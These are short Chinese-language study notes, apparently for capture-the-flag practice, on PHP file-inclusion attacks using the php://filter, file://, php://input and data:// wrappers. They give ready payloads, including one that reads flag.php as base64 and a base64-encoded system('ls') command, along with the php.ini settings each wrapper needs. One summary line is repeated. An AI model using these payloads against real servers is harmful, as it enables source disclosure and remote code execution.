1.filer协议
php://filter/read=convert.base64-encode/resource=flag.php
php://filter 读取文件源码php://input 任意代码执行data://text/plain 任意代码执行zip:// 配合文件上传开启后门 下面拿ct.
要成功应用伪协议需要php.ini文件的allow_url_fopen 默认开启
allow_url_include 默认关闭
file://伪协议
此协议可以在双off的情况下使用,用于访问本地文件
使用方法:file://文件绝对路径和文件名 如http://127.0.0.1/cmd.php?file=file://D:/soft/phpStudy/WWW/phpcode.txt
2.input伪协议
php:input协议
此协议需要allow_url_include为on,可以访问请求的原始数据的只读流, 将post请求中的数据作为PHP代码执行。当传入的参数作为文件名打开时,可以将参数设为php://input,同时post想设置的文件内容,php执行时会将post内容当作文件内容。
使用方法:php://input,然后post需要执行的数据 如http://127.0.0.1/cmd.php?file=php://input 然后在post中<?php phpinfo() ?>
3.Data伪协议
data://text/plain;base64,PD9waHAgIHN5c3RlbSgibHMiKSA7Pz4=
php://filter 读取文件源码php://input 任意代码执行data://text/plain 任意代码执行zip:// 配合文件上传开启后门 下面拿ct.
data://text/plain协议
此协议需要在双on的情况下才能使用,很常用的数据流构造器,将读取后面base编码字符串后解码的数据作为数据流的输入
使用方法:data://text/plain;base64,base64编码字符 如http://127.0.0.1/cmd.php?file=data://text/plain;base64,PD9waHAgcGhwaW5mbygpPz4=
data://text/plain,字符 如http://127.0.0.1/cmd.php?file=data://text/plain,<?php phpinfo()?>